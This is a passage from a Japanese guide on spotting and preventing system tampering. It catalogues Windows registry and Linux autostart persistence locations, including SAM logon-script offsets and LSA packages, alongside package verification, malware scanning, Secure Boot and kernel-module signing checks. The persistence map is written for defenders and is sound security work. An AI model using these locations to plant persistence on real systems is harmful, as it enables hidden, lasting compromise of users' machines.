| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
